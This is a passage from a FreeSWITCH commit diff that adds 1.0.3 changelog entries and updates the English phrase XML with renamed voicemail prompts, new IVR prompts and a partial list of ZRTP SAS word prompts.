+	mod_unimrcp: use paths referenced to the project file dir (r:13840)
+	mod_unimrcp: Added LPCM (16-bit linear PCM) codec, which is used internally in host order; while L16 is RFC3551 defined 16-bit linear PCM codec in network order. (r:13859)
+	mod_unimrcp: add speech_channel_set_state_unlocked() (r:14049)
+	mod_xml_cdr: Implement optional directory rotation for mod_xml_cdr (XML-6/r:14300)
+	mod_xml_cdr: use switch_true instead of atoi (r:14342)
+	mod_xml_curl: fix data fetch (MODXMLINT-48/r:12586)
+	mod_xml_curl mod_xml_cdr: fix ssl verify peer option and add cookie options (MDXMLINT-51/MDXMLINT-52/r:14208)
+	mod_xml_rpc: xmlrpc fails to check security restrictions (MDXMLINT-53/r:13912)
+	mod_xml_rpc: add virtual-host (default to true) and default-domain params (MDXMLINT-45/r:14349)
+	scripts: Add -days option to set expiration time of certificates in gentls_cert (r:13825)
+	scripts: Add zrtp enrollment script, we do auto enrollment and verification (r:13843)
+	scripts: Add AT&T System 25 PBX style call pickup (FSSCRIPTS-16/FSSCRIPTS-17/r:13896)
+	support: Add print_list gdb macro (r:12687)	
+	switch_cpp: fix leak (FSCORE-394/r:14097)
+
+
+freeswitch (1.0.3)
+
+	build: add targets cd-sounds[-install] and cd-moh[-install] for 48k sounds (r:11151)
+	build: autoconf detect odbc library (FSBUILD-8)
+	build: fix sound install on windows build (r:11635,11638)
+	build: fix configure --sysconfdir (FSBUILD-84)
+	build: fix uclibc build (MODLANG-99)
+	build: fix adduser in debian (FSBUILD-122, FSBUILD-102)
+	core: fix buffering issues (r:11101,11145,11152-11157,11162,11191,11200)
+	core: fix c leg no hangup when converting attended to blind transfer before b leg answers (MODENDP-165/r:11061)
+	core: fix codec and media handling issues (r:11104) 
+	core: fix double close of file handles and add recording of native files (r:11108-11113,11482,11483)
+	core: fix file resampling issue (r:11090)
+	core: fix incorrect call progress timestamps in timetable (r:11186-11187/FSCORE-268)
+	core: fix media handling issues (r:11079-11082)
+	core: fix multiple 2833 dtmf handling issues (r:11149,11261,11262,11266,11293,11294,11338/FSCORE-266,FSCORE-273)
+	core: send more event types verbos bridge,unbridge,park,unpark (r:11097-11098)
+	core: Prevent media setup on failed originates (r:11462/FSCORE-279)
+	core: fix recorded soundfiles had random data at end of file (r:11491/MODAPP-205)
+	core: fix user for windows service (r:11538/FSCORE-277)
+	core: modify variable expansion code to expand in more places and to fix potential security issue from injecting variables (r:11569,11570)
+	core: look for soundfiles in more locations based on rate (r:11601/MODFORM-23)
+	core: state machine veto behavior changed (r:11610)
+	core: add enable_file_write_buffering variable (r:11677)
+	core: fix garbled audio on media bug during bridge using stateful codecs (FSCORE-288)
+	core: fix tone detect running multiple bugs when detecting multiple tones
+	core: add {instant_ringback=true} to make ringback not wait for indication to generate ringback
+	core: fix segfault from race condition on multiple reloadxml calls (MOODAPP-211)
+	core: modify xml locking so phrases do not lock the xml for the duration of playing them
+	core: replace resampler with the speexdsp resampler
+	core: fix windows calling convention on threads launched that return a value to fix shutdown segfault (FSCORE-298)
+	core: do not auto-export origination_caller_id_* to avoid confusion (r:12052)
+	core: API visibility support (GCC/SUNCC) (FSCORE-264)
+	core: fix leak in exposed event class serialize method (r:12068)
+	core: add volume as possible return value from input callback on embedded languages (r:12114)
+	core: add resampler to seech handles (r:12141)
+	core: add api.getTime to embedded languages (r:12149)
+	freeswitch: allow you to specify -htdocs dir at runtime. (r:11614)
+	fs_cli: add "debug" command to change the esl debug level at runtime (r:11057)
+	iksemel: update to 1.3 (r:11645)
+	libesl: fix disconnect failure (r:11078,11083)
+	libesl: fix solaris build (r:11067,11068)
+	libesl: add c++ wrapper and swigged wrappers for multiple scripting languages
+	libg722_1: fix dct4.h code generator to include the "f" (r:11188-11189,11367)
+	libilbc: update to new library from Steve Underwood
+	mod_amrwb: add amr wideband passthrough codec (r:11971)
+	mod_cepstral: fix failure return code handling (MODASRTTS-9)
+	mod_conference: add 'conference xml_list' and 'conference [conf_name] xml_list' (r:11062-11063)
+	mod_conference: make conference verbose-events param to control if events have all the channel data or not (r:11073-11077)
+	mod_conference: add MINTWO flag to end conference when down to 1 participant (r:11523)
+	mod_conference: refactor conference record function (r:11626)
+	mod_conference: add conference list summary command (MODAPP-197)
+	mod_conference: fix Deadlock or coredump on conference commands play, transfer (MODAPP-209)
+	mod_dahdi_codec: added (MODCODEC-7)
+	mod_dialplan_xml: make previous auto hunt feature optional and off by defaule use auto_hunt=true session or global variable to enable (r:12144)
+	mod_dptools: Add failure_causes channel variable (r:12058)
+	mod_easyroute: add configuration file example for custom-query (r:11055)
+	mod_easyroute: add custom-query configuration option (r:11054)
+	mod_easyroute: fix build error when not configured for odbc (r:11478)
+	mod_easyroute: fix memory leak (r:11611)
+	mod_erlang_event: add ability to spawn a process (module/function) outbound on a specified node. (r:11460,11477)
+	mod_erlang_event: Fix some issues with standing up a new outbound listener and cleaning up after a failed session (r:11479)
+	mod_erlang_event: Fix setting up a listener for an outbound session if one doesn't already exist (r:11488)
+	mod_erlang_event: add "erlang" fscli command (r:11488)
+	mod_erlang_event: Monitor spawned outbound processes for premature exits (r:11489)
+	mod_erlang_event: Allow the event encoding strategy to be configurable; choices are string or binary (r:11495)
+	mod_erlang_event: Allow certain tuple elements to be binaries or strings, to reduce conversion requirements on the erlang side (r:11496)
+	mod_erlang_event: Support sending a message to a registered process to request a pid (when spawning won't cut it) (r:11499)
+	mod_erlang_event: Ensure events received while a pid session is being created aren't discarded but are queued instead (r:11500)
+	mod_erlang_event: Add freeswitch.erl - An erlang module to make talking to mod_erlang_event more painless (r:11525)
+	mod_erlang_event: use rpc:call instead of spawn and to make the registered process argument to handlecall optional (r:11542)
+	mod_event_socket: add ability to use a comma sep list of events on event-sink create-listener (r:11056)
+	mod_event_socket: add debug logging to event-sink (r:11060)
+	mod_event_socket: fix race condition (r:11680,12146)
+	mod_dptools: add all modifier to break command (r:11557,11558)
+	mod_dptools: add sound_test application (r:11658)
+	mod_fax: Dont hangup after sending/receiving faxes
+	mod_fifo: pause media bugs while not in a bridge (r:11466,11490)
+	mod_fifo: allow unpark during chime list playing (r:11555/MODAPP-206)
+	mod_fifo: fix outbound fifos doesn't check if the consumer is in the fifo in question. (r:11561/MODAPP-207)
+	mod_fifo: Fix segfault when no argument were supplied to fifo_member call (MODAPP-210)
+	mod_lcr: added (r:11180,11184,11532,11609)
+	mod_limit: fix memory corruption caused by race condition when using limit hash (r:11070-11071)
+	mod_limit: Fix transfer bug, fix leak and make the channel hangup if the extension is \!hangup_cause (r:11604,11932)
+	mod_limit: add write different channel variables per realm_id (r:11608)
+	mod_limit: Make max argument optional on the limit app, set the limit_usage variable to current count after inserting call in the db (r:11955)
+	mod_lua: Create empty argv table when no args are passed to a Lua script (r:11559)
+	mod_lua: use dll for lua windows build (FSCORE-299)
+	mod_openmrcp: removed (r:11176-11179)
+	mod_opal: added
+	mod_pocketsphinx: fix leak (r:11974)
+	mod_portaudio: fix stuck channels on outbound calls (r:11160,11470,11471,11472,11475,11476,11485)
+	mod_python: fix build when site dir is not /usr/lib/python2.4 (r:12070)
+	mod_say_en: add short form date/time (MODAPP-180)
+	mod_sofia: add auto-rtp-bugs profile option to make rtp bug compensation configurable  (r :11146-11147)
+	mod_sofia: add support in sdp for a=maxptime (r:11103)
+	mod_sofia: fix codec change race condition (r:11143)
+	mod_sofia: fix notify event wasn't allowing content-length 0 (r:11106/MODENDP-167)
+	mod_sofia: fix sending extra sdp in 200 OK when using 100rel in violation of sdp o/a protocol draft-ietf-sipping-sip-offeranswer-10 (r:11088)
+	mod_sofia: fix sip_auto_answer=true (r:11069)
+	mod_sofia: improve outbound registration error message (r:11059)
+	mod_sofia: reset media timeout on re-invite (r:11161)
+	mod_sofia: fix segfault due to missing contact header in invite (r:11463/MODENDP-177)
+	mod_sofia: allow <params> tag in gateways as well as <variables> with direction inbound/outbound (default both) and call counter (r:11468)
+	mod_sofia: add support or SLA, works with Polycom and Snom(Sylantro mode). (r:11562/MODENDP-179)
+	mod_sofia: tolerate missing user in the request uri (r:11636)
+	mod_sofia: Add purpose=gateways and profile=[name] so xml_curl requests make sense (MDXMLINT-46)
+	mod_sofia: Add disable-srv and disable-naptr params to sip profiles (default false) (MODENDP-183)
+	mod_sofia: add outbound-proxy param (MODENDP-184)
+	mod_sofia: fix segfault with stun-enabled=false (SFSIP-120)
+	mod_sofia: Profile Name in Expire Event is incorrect (MODENDP-185)
+	mod_sofia: add "scrooge" mode to "inbound-codec-negotiation" (r:11881)
+	mod_sofia: Add context to reconfig_sofia (r:12080)
+	mod_sofia: fix segfault when calling from a Cisco 7940 using bypass_media (FSCORE-301)
+	mod_sofia: ilbc to default to 30 if no mode= fmtp is defined on the inbound (r:12110)
+	mod_sofia: fix challenge-realm (r:12113)
+	mod_sofia: Segmentation fault when running killgw command on sofia profile without specifying a gateway (MODENDP-189)
+	mod_sofia: gateways will inherit the context from its parent unless manually provided (r:12138)
+	mod_sndfile: Add IMA ADPCM support (MODFORM-22)
+	mod_spidermonkey: fix loading of spidermonkey modules (r:11084-11085)
+	mod_spidermonkey: block some unwanted behaviours in  session.originate
+	mod_spidermonkey_socket: fix gc blocking (MODLANG-97)
+	mod_xml_rpc: fixed authentication using @domain syntax (r:11064)
+	mod_xml_rpc: fix http content types sent in responses (r:11099,11148,11150)
+	mod_voicemail: voicemail insert into the proper fields (MODAPP-190)
+	mod_voipcodecs: add  G.726 24k (r:12083)
+	sofia-sip: update to current sofia-sip repository
+	spandsp: sync to latest snapshot and fix windows build
+	speex: updated to 1.2rc1
+	sqlite: fix random assert on windows (FSCORE-292)
+
+
 freeswitch (1.0.2)
 
 	all: don't add module interfaces before returning from error conditions in module load functions (MDXMLINT-36)

Modified: freeswitch/branches/seven/docs/phrase/phrase_en.xml (14471 => 14472)


--- freeswitch/branches/seven/docs/phrase/phrase_en.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/docs/phrase/phrase_en.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -169,7 +169,7 @@
     </time>
     <voicemail>
       <prompt phrase="The person at extension" filename="vm-person.wav"/>
-      <prompt phrase="marked urgent" filename="vm-marked_urgent.wav"/>
+      <prompt phrase="marked urgent" filename="vm-marked-urgent.wav"/>
       <prompt phrase="emailed" filename="vm-emailed.wav"/>
       <prompt phrase="you have" filename="vm-you_have.wav"/>
       <prompt phrase="please enter your i d, followed by" filename="vm-enter_id.wav"/>
@@ -203,7 +203,7 @@
       <prompt phrase="to listen to the recording" filename="vm-listen_to_recording.wav"/>
       <prompt phrase="to save the recording" filename="vm-save_recording.wav"/>
       <prompt phrase="to rerecord" filename="vm-rerecord.wav"/>
-      <prompt phrase="to mark this message urgent" filename="vm-mark_urgent.wav"/>
+      <prompt phrase="to mark this message urgent" filename="vm-mark-urgent.wav"/>
       <prompt phrase="to continue" filename="vm-continue.wav"/>
       <prompt phrase="to listen to the recording again" filename="vm-listen_to_recording_again.wav"/>
       <prompt phrase="to delete the recording" filename="vm-delete_recording.wav"/>
@@ -217,11 +217,12 @@
       <prompt phrase="in folder inbox" filename="vm-in_folder.wav"/>
       <prompt phrase="to return the call now" filename="vm-return_call.wav"/>
       <prompt phrase="urgent" filename="vm-urgent.wav"/>
+      <prompt phrase="That mailbox is full. Please try your call again later." filename="vm-mailbox_full.wav"/>
     </voicemail>
     <conference>
       <prompt phrase="NULL" filename="conf-ack.wav" type="tone"/>
       <prompt phrase="NULL" filename="conf-nack.wav" type="tone"/>
-      <prompt phrase="You are now muted." filename="conf-mute.wav"/>
+      <prompt phrase="You are now muted." filename="conf-muted.wav"/>
       <prompt phrase="You are now unmuted." filename="conf-unmuted.wav"/>
       <prompt phrase="You are currently the only person in this conference." filename="conf-alone.wav"/>
       <prompt phrase="NULL" filename="conf-perpetual.wav" type="music"/>
@@ -281,6 +282,26 @@
       <prompt phrase="Customer service" filename="ivr-customer_service.wav"/>
       <prompt phrase="Technical support" filename="ivr-technical_support.wav"/>
       <prompt phrase="Operator" filename="ivr-operator.wav"/>
+      <prompt phrase="You have dialed an invalid extension." filename="ivr-you_have_dialed_an_invalid_extension.wav"/>
+      <prompt phrase="Please enter your extension, followed by the pound sign." filename="ivr-please_enter_extension_followed_by_pound.wav"/>
+      <prompt phrase="Please enter your pin number, followed by the pound sign." filename="ivr-please_enter_pin_followed_by_pound.wav"/>
+      <prompt phrase="Your pin number or extension is invalid." filename="ivr-pin_or_extension_is-invalid.wav"/>
+      <prompt phrase="You are about to provision this phone to your account..." filename="ivr-you_are_about_to_provision_this_phone.wav"/>
+      <prompt phrase="Please re-enter your pin number to confirm." filename="ivr-please_reenter_your_pin.wav"/>
+      <prompt phrase="To register for ClueCon, please press..." filename="ivr-register_for_cluecon.wav"/>
+      <prompt phrase="to log in" filename="ivr-to_log_in.wav"/>
+      <prompt phrase="to log out" filename="ivr-to_log_out.wav"/>
+      <prompt phrase="You are now logged in" filename="ivr-you_are_now_logged_in.wav"/>
+      <prompt phrase="You are now logged out" filename="ivr-you_are_now_logged_out.wav"/>
+      <prompt phrase="Please try again." filename="ivr-please_try_again.wav"/>
+      <prompt phrase="You are about to provision this phone permanently to your extension." filename="ivr-provision_phone_permanently_to_extension.wav"/>
+      <prompt phrase="Please enter the extension number to which you would like to provision this phone, followed by the pound sign." filename="ivr-extension_to_provision_this_phone.wav"/>
+      <prompt phrase="Thank you, this phone will now reboot." filename="ivr-this_phone_will_now_reboot.wav"/>
+      <!-- The following three phrases still need to be recorded -->
+      <prompt phrase="Thank you. Your recording has been saved." filename="ivr-recording_saved.wav" attr="Needs_to_be_recorded!"/>
+      <prompt phrase="Press 1 to save your recording. Press 2 to review your recording. Press 3 to re-record." filename="ivr-save_review_record.wav" attr="Needs_to_be_recorded!"/>
+      <prompt phrase="The system is unable to save your sound file at this time. Please try again later." filename="ivr-unable_save" attr="Needs_to_be_recorded!"/>
+
     </ivr>
     <misc>
       <prompt phrase="This call has been secured" filename="call_secured.wav"/>
@@ -292,6 +313,539 @@
       <prompt phrase="Transfer" filename="transfer2.wav"/>
       <prompt phrase="We are trying to reach" filename="we_are_trying_to_reach.wav"/>
       <prompt phrase="An error has occurred please contact the administrator" filename="error.wav"/>
+      <prompt phrase="Your call will be terminated in..." filename="misc-your_call_will_be_terminated_in.wav"/>
+      <prompt phrase="Your call has been terminated." filename="misc-your_call_has_been_terminated.wav"/>
     </misc>
+    <zrtp>
+      <!-- base256 prompts for SAS -->
+      <prompt phrase="Algol" filename="Algol.wav"/>
+      <prompt phrase="Apollo" filename="Apollo.wav"/>
+      <prompt phrase="Athens" filename="Athens.wav"/>
+      <prompt phrase="Atlantic" filename="Atlantic.wav"/>
+      <prompt phrase="Aztec" filename="Aztec.wav"/>
+      <prompt phrase="Babylon" filename="Babylon.wav"/>
+      <prompt phrase="Belfast" filename="Belfast.wav"/>
+      <prompt phrase="Bradbury" filename="Bradbury.wav"/>
+      <prompt phrase="Brazilian" filename="Brazilian.wav"/>
+      <prompt phrase="Burbank" filename="Burbank.wav"/>
+      <prompt phrase="Burlington" filename="Burlington.wav"/>
+      <prompt phrase="Camelot" filename="Camelot.wav"/>
+      <prompt phrase="Capricorn" filename="Capricorn.wav"/>
+      <prompt phrase="Cherokee" filename="Cherokee.wav"/>
+      <prompt phrase="Chicago" filename="Chicago.wav"/>
+      <prompt phrase="Christmas" filename="Christmas.wav"/>
+      <prompt phrase="Dakota" filename="Dakota.wav"/>
+      <prompt phrase="December" filename="December.wav"/>
+      <prompt phrase="Dupont" filename="Dupont.wav"/>
+      <prompt phrase="Eskimo" filename="Eskimo.wav"/>
+      <prompt phrase="Galveston" filename="Galveston.wav"/>
+      <prompt phrase="Geiger" filename="Geiger.wav"/>
+      <prompt phrase="Hamilton" filename="Hamilton.wav"/>
+      <prompt phrase="Istanbul" filename="Istanbul.wav"/>
+      <prompt phrase="Jamaica" filename="Jamaica.wav"/>
+      <prompt phrase="Jupiter" filename="Jupiter.wav"/>
+      <prompt phrase="Medusa" filename="Medusa.wav"/>
+      <prompt phrase="Mohawk" filename="Mohawk.wav"/>
+      <prompt phrase="Montana" filename="Montana.wav"/>
+      <prompt phrase="Neptune" filename="Neptune.wav"/>
+      <prompt phrase="Norwegian" filename="Norwegian.wav"/>
+      <prompt phrase="Oakland" filename="Oakland.wav"/>
+      <prompt phrase="October" filename="October.wav"/>
+      <prompt phrase="Ohio" filename="Ohio.wav"/>
+      <prompt phrase="Orlando" filename="Orlando.wav"/>
+      <prompt phrase="Pacific" filename="Pacific.wav"/>
+      <prompt phrase="Pandora" filename="Pandora.wav"/>
+      <prompt phrase="Pegasus" filename="Pegasus.wav"/>
+      <prompt phrase="Pluto" filename="Pluto.wav"/>
+      <prompt phrase="Saturday" filename="Saturday.wav"/>
+      <prompt phrase="Scotland" filename="Scotland.wav"/>
+      <prompt phrase="Trojan" filename="Trojan.wav"/>
+      <prompt phrase="Virginia" filename="Virginia.wav"/>
+      <prompt phrase="Vulcan" filename="Vulcan.wav"/>
+      <prompt phrase="Waterloo" filename="Waterloo.wav"/>
+      <prompt phrase="Wichita" filename="Wichita.wav"/>
+      <prompt phrase="Wilmington" filename="Wilmington.wav"/>
+      <prompt phrase="Wyoming" filename="Wyoming.wav"/>
+      <prompt phrase="Yucatan" filename="Yucatan.wav"/>
+      <prompt phrase="Zulu" filename="Zulu.wav"/>
+      <prompt phrase="aardvark" filename="aardvark.wav"/>
+      <prompt phrase="absurd" filename="absurd.wav"/>
+      <prompt phrase="accrue" filename="accrue.wav"/>
+      <prompt phrase="acme" filename="acme.wav"/>
+      <prompt phrase="adrift" filename="adrift.wav"/>
+      <prompt phrase="adroitness" filename="adroitness.wav"/>
+      <prompt phrase="adult" filename="adult.wav"/>
+      <prompt phrase="adviser" filename="adviser.wav"/>
+      <prompt phrase="afflict" filename="afflict.wav"/>
+      <prompt phrase="aftermath" filename="aftermath.wav"/>
+      <prompt phrase="aggregate" filename="aggregate.wav"/>
+      <prompt phrase="ahead" filename="ahead.wav"/>
+      <prompt phrase="aimless" filename="aimless.wav"/>
+      <prompt phrase="alkali" filename="alkali.wav"/>
+      <prompt phrase="allow" filename="allow.wav"/>
+      <prompt phrase="almighty" filename="almighty.wav"/>
+      <prompt phrase="alone" filename="alone.wav"/>
+      <prompt phrase="ammo" filename="ammo.wav"/>
+      <prompt phrase="amulet" filename="amulet.wav"/>
+      <prompt phrase="amusement" filename="amusement.wav"/>
+      <prompt phrase="ancient" filename="ancient.wav"/>
+      <prompt phrase="antenna" filename="antenna.wav"/>
+      <prompt phrase="apple" filename="apple.wav"/>
+      <prompt phrase="applicant" filename="applicant.wav"/>
+      <prompt phrase="armistice" filename="armistice.wav"/>
+      <prompt phrase="article" filename="article.wav"/>
+      <prompt phrase="artist" filename="artist.wav"/>
+      <prompt phrase="assume" filename="assume.wav"/>
+      <prompt phrase="asteroid" filename="asteroid.wav"/>
+      <prompt phrase="atlas" filename="atlas.wav"/>
+      <prompt phrase="atmosphere" filename="atmosphere.wav"/>
+      <prompt phrase="autopsy" filename="autopsy.wav"/>
+      <prompt phrase="baboon" filename="baboon.wav"/>
+      <prompt phrase="backfield" filename="backfield.wav"/>
+      <prompt phrase="backward" filename="backward.wav"/>
+      <prompt phrase="backwater" filename="backwater.wav"/>
+      <prompt phrase="banjo" filename="banjo.wav"/>
+      <prompt phrase="barbecue" filename="barbecue.wav"/>
+      <prompt phrase="beaming" filename="beaming.wav"/>
+      <prompt phrase="bedlamp" filename="bedlamp.wav"/>
+      <prompt phrase="beehive" filename="beehive.wav"/>
+      <prompt phrase="beeswax" filename="beeswax.wav"/>
+      <prompt phrase="befriend" filename="befriend.wav"/>
+      <prompt phrase="belowground" filename="belowground.wav"/>
+      <prompt phrase="berserk" filename="berserk.wav"/>
+      <prompt phrase="bifocals" filename="bifocals.wav"/>
+      <prompt phrase="billiard" filename="billiard.wav"/>
+      <prompt phrase="bison" filename="bison.wav"/>
+      <prompt phrase="blackjack" filename="blackjack.wav"/>
+      <prompt phrase="blockade" filename="blockade.wav"/>
+      <prompt phrase="blowtorch" filename="blowtorch.wav"/>
+      <prompt phrase="bluebird" filename="bluebird.wav"/>
+      <prompt phrase="bodyguard" filename="bodyguard.wav"/>
+      <prompt phrase="bombast" filename="bombast.wav"/>
+      <prompt phrase="bookseller" filename="bookseller.wav"/>
+      <prompt phrase="bookshelf" filename="bookshelf.wav"/>
+      <prompt phrase="borderline" filename="borderline.wav"/>
+      <prompt phrase="bottomless" filename="bottomless.wav"/>
+      <prompt phrase="brackish" filename="brackish.wav"/>
+      <prompt phrase="bravado" filename="bravado.wav"/>
+      <prompt phrase="breadline" filename="breadline.wav"/>
+      <prompt phrase="breakaway" filename="breakaway.wav"/>
+      <prompt phrase="breakup" filename="breakup.wav"/>
+      <prompt phrase="brickyard" filename="brickyard.wav"/>
+      <prompt phrase="briefcase" filename="briefcase.wav"/>
+      <prompt phrase="businessman" filename="businessman.wav"/>
+      <prompt phrase="butterfat" filename="butterfat.wav"/>
+      <prompt phrase="button" filename="button.wav"/>
+      <prompt phrase="buzzard" filename="buzzard.wav"/>
+      <prompt phrase="candidate" filename="candidate.wav"/>
+      <prompt phrase="cannonball" filename="cannonball.wav"/>
+      <prompt phrase="caravan" filename="caravan.wav"/>
+      <prompt phrase="caretaker" filename="caretaker.wav"/>
+      <prompt phrase="celebrate" filename="celebrate.wav"/>
+      <prompt phrase="cellulose" filename="cellulose.wav"/>
+      <prompt phrase="cement" filename="cement.wav"/>
+      <prompt phrase="certify" filename="certify.wav"/>
+      <prompt phrase="chairlift" filename="chairlift.wav"/>
+      <prompt phrase="chambermaid" filename="chambermaid.wav"/>
+      <prompt phrase="chatter" filename="chatter.wav"/>
+      <prompt phrase="checkup" filename="checkup.wav"/>
+      <prompt phrase="chisel" filename="chisel.wav"/>
+      <prompt phrase="choking" filename="choking.wav"/>
+      <prompt phrase="chopper" filename="chopper.wav"/>
+      <prompt phrase="clamshell" filename="clamshell.wav"/>
+      <prompt phrase="classic" filename="classic.wav"/>
+      <prompt phrase="classroom" filename="classroom.wav"/>
+      <prompt phrase="cleanup" filename="cleanup.wav"/>
+      <prompt phrase="clergyman" filename="clergyman.wav"/>
+      <prompt phrase="clockwork" filename="clockwork.wav"/>
+      <prompt phrase="cobra" filename="cobra.wav"/>
+      <prompt phrase="coherence" filename="coherence.wav"/>
+      <prompt phrase="combustion" filename="combustion.wav"/>
+      <prompt phrase="commando" filename="commando.wav"/>
+      <prompt phrase="commence" filename="commence.wav"/>
+      <prompt phrase="company" filename="company.wav"/>
+      <prompt phrase="component" filename="component.wav"/>
+      <prompt phrase="concert" filename="concert.wav"/>
+      <prompt phrase="concurrent" filename="concurrent.wav"/>
+      <prompt phrase="confidence" filename="confidence.wav"/>
+      <prompt phrase="conformist" filename="conformist.wav"/>
+      <prompt phrase="congregate" filename="congregate.wav"/>
+      <prompt phrase="consensus" filename="consensus.wav"/>
+      <prompt phrase="consulting" filename="consulting.wav"/>
+      <prompt phrase="corporate" filename="corporate.wav"/>
+      <prompt phrase="corrosion" filename="corrosion.wav"/>
+      <prompt phrase="councilman" filename="councilman.wav"/>
+      <prompt phrase="cowbell" filename="cowbell.wav"/>
+      <prompt phrase="crackdown" filename="crackdown.wav"/>
+      <prompt phrase="cranky" filename="cranky.wav"/>
+      <prompt phrase="crossover" filename="crossover.wav"/>
+      <prompt phrase="crowfoot" filename="crowfoot.wav"/>
+      <prompt phrase="crucial" filename="crucial.wav"/>
+      <prompt phrase="crucifix" filename="crucifix.wav"/>
+      <prompt phrase="crumpled" filename="crumpled.wav"/>
+      <prompt phrase="crusade" filename="crusade.wav"/>
+      <prompt phrase="cubic" filename="cubic.wav"/>
+      <prompt phrase="cumbersome" filename="cumbersome.wav"/>
+      <prompt phrase="customer" filename="customer.wav"/>
+      <prompt phrase="dashboard" filename="dashboard.wav"/>
+      <prompt phrase="deadbolt" filename="deadbolt.wav"/>
+      <prompt phrase="decadence" filename="decadence.wav"/>
+      <prompt phrase="decimal" filename="decimal.wav"/>
+      <prompt phrase="deckhand" filename="deckhand.wav"/>
+      <prompt phrase="designing" filename="designing.wav"/>
+      <prompt phrase="detector" filename="detector.wav"/>
+      <prompt phrase="detergent" filename="detergent.wav"/>
+      <prompt phrase="determine" filename="determine.wav"/>
+      <prompt phrase="dictator" filename="dictator.wav"/>
+      <prompt phrase="dinosaur" filename="dinosaur.wav"/>
+      <prompt phrase="direction" filename="direction.wav"/>
+      <prompt phrase="disable" filename="disable.wav"/>
+      <prompt phrase="disbelief" filename="disbelief.wav"/>
+      <prompt phrase="disruptive" filename="disruptive.wav"/>
+      <prompt phrase="distortion" filename="distortion.wav"/>
+      <prompt phrase="document" filename="document.wav"/>
+      <prompt phrase="dogsled" filename="dogsled.wav"/>
+      <prompt phrase="dragnet" filename="dragnet.wav"/>
+      <prompt phrase="drainage" filename="drainage.wav"/>
+      <prompt phrase="dreadful" filename="dreadful.wav"/>
+      <prompt phrase="drifter" filename="drifter.wav"/>
+      <prompt phrase="dropper" filename="dropper.wav"/>
+      <prompt phrase="drumbeat" filename="drumbeat.wav"/>
+      <prompt phrase="drunken" filename="drunken.wav"/>
+      <prompt phrase="dwelling" filename="dwelling.wav"/>
+      <prompt phrase="eating" filename="eating.wav"/>
+      <prompt phrase="edict" filename="edict.wav"/>
+      <prompt phrase="egghead" filename="egghead.wav"/>
+      <prompt phrase="eightball" filename="eightball.wav"/>
+      <prompt phrase="embezzle" filename="embezzle.wav"/>
+      <prompt phrase="enchanting" filename="enchanting.wav"/>
+      <prompt phrase="endorse" filename="endorse.wav"/>
+      <prompt phrase="endow" filename="endow.wav"/>
+      <prompt phrase="enlist" filename="enlist.wav"/>
+      <prompt phrase="enrollment" filename="enrollment.wav"/>
+      <prompt phrase="enterprise" filename="enterprise.wav"/>
+      <prompt phrase="equation" filename="equation.wav"/>
+      <prompt phrase="equipment" filename="equipment.wav"/>
+      <prompt phrase="erase" filename="erase.wav"/>
+      <prompt phrase="escapade" filename="escapade.wav"/>
+      <prompt phrase="escape" filename="escape.wav"/>
+      <prompt phrase="everyday" filename="everyday.wav"/>
+      <prompt phrase="examine" filename="examine.wav"/>
+      <prompt phrase="exceed" filename="exceed.wav"/>
+      <prompt phrase="existence" filename="existence.wav"/>
+      <prompt phrase="exodus" filename="exodus.wav"/>
+      <prompt phrase="eyeglass" filename="eyeglass.wav"/>
+      <prompt phrase="eyetooth" filename="eyetooth.wav"/>
+      <prompt phrase="facial" filename="facial.wav"/>
+      <prompt phrase="fallout" filename="fallout.wav"/>
+      <prompt phrase="fascinate" filename="fascinate.wav"/>
+      <prompt phrase="filament" filename="filament.wav"/>
+      <prompt phrase="finicky" filename="finicky.wav"/>
+      <prompt phrase="flagpole" filename="flagpole.wav"/>
+      <prompt phrase="flatfoot" filename="flatfoot.wav"/>
+      <prompt phrase="flytrap" filename="flytrap.wav"/>
+      <prompt phrase="forever" filename="forever.wav"/>
+      <prompt phrase="fortitude" filename="fortitude.wav"/>
+      <prompt phrase="fracture" filename="fracture.wav"/>
+      <prompt phrase="framework" filename="framework.wav"/>
+      <prompt phrase="freedom" filename="freedom.wav"/>
+      <prompt phrase="frequency" filename="frequency.wav"/>
+      <prompt phrase="frighten" filename="frighten.wav"/>
+      <prompt phrase="gadgetry" filename="gadgetry.wav"/>
+      <prompt phrase="gazelle" filename="gazelle.wav"/>
+      <prompt phrase="getaway" filename="getaway.wav"/>
+      <prompt phrase="glitter" filename="glitter.wav"/>
+      <prompt phrase="glossary" filename="glossary.wav"/>
+      <prompt phrase="glucose" filename="glucose.wav"/>
+      <prompt phrase="goggles" filename="goggles.wav"/>
+      <prompt phrase="goldfish" filename="goldfish.wav"/>
+      <prompt phrase="gossamer" filename="gossamer.wav"/>
+      <prompt phrase="graduate" filename="graduate.wav"/>
+      <prompt phrase="gravity" filename="gravity.wav"/>
+      <prompt phrase="gremlin" filename="gremlin.wav"/>
+      <prompt phrase="guidance" filename="guidance.wav"/>
+      <prompt phrase="guitarist" filename="guitarist.wav"/>
+      <prompt phrase="hamburger" filename="hamburger.wav"/>
+      <prompt phrase="hamlet" filename="hamlet.wav"/>
+      <prompt phrase="handiwork" filename="handiwork.wav"/>
+      <prompt phrase="hazardous" filename="hazardous.wav"/>
+      <prompt phrase="headwaters" filename="headwaters.wav"/>
+      <prompt phrase="hemisphere" filename="hemisphere.wav"/>
+      <prompt phrase="hesitate" filename="hesitate.wav"/>
+      <prompt phrase="hideaway" filename="hideaway.wav"/>
+      <prompt phrase="highchair" filename="highchair.wav"/>
+      <prompt phrase="hockey" filename="hockey.wav"/>
+      <prompt phrase="holiness" filename="holiness.wav"/>
+      <prompt phrase="hurricane" filename="hurricane.wav"/>
+      <prompt phrase="hydraulic" filename="hydraulic.wav"/>
+      <prompt phrase="impartial" filename="impartial.wav"/>
+      <prompt phrase="impetus" filename="impetus.wav"/>
+      <prompt phrase="inception" filename="inception.wav"/>
+      <prompt phrase="indigo" filename="indigo.wav"/>
+      <prompt phrase="indoors" filename="indoors.wav"/>
+      <prompt phrase="indulge" filename="indulge.wav"/>
+      <prompt phrase="inertia" filename="inertia.wav"/>
+      <prompt phrase="infancy" filename="infancy.wav"/>
+      <prompt phrase="inferno" filename="inferno.wav"/>
+      <prompt phrase="informant" filename="informant.wav"/>
+      <prompt phrase="insincere" filename="insincere.wav"/>
+      <prompt phrase="insurgent" filename="insurgent.wav"/>
+      <prompt phrase="integrate" filename="integrate.wav"/>
+      <prompt phrase="intention" filename="intention.wav"/>
+      <prompt phrase="inventive" filename="inventive.wav"/>
+      <prompt phrase="inverse" filename="inverse.wav"/>
+      <prompt phrase="involve" filename="involve.wav"/>
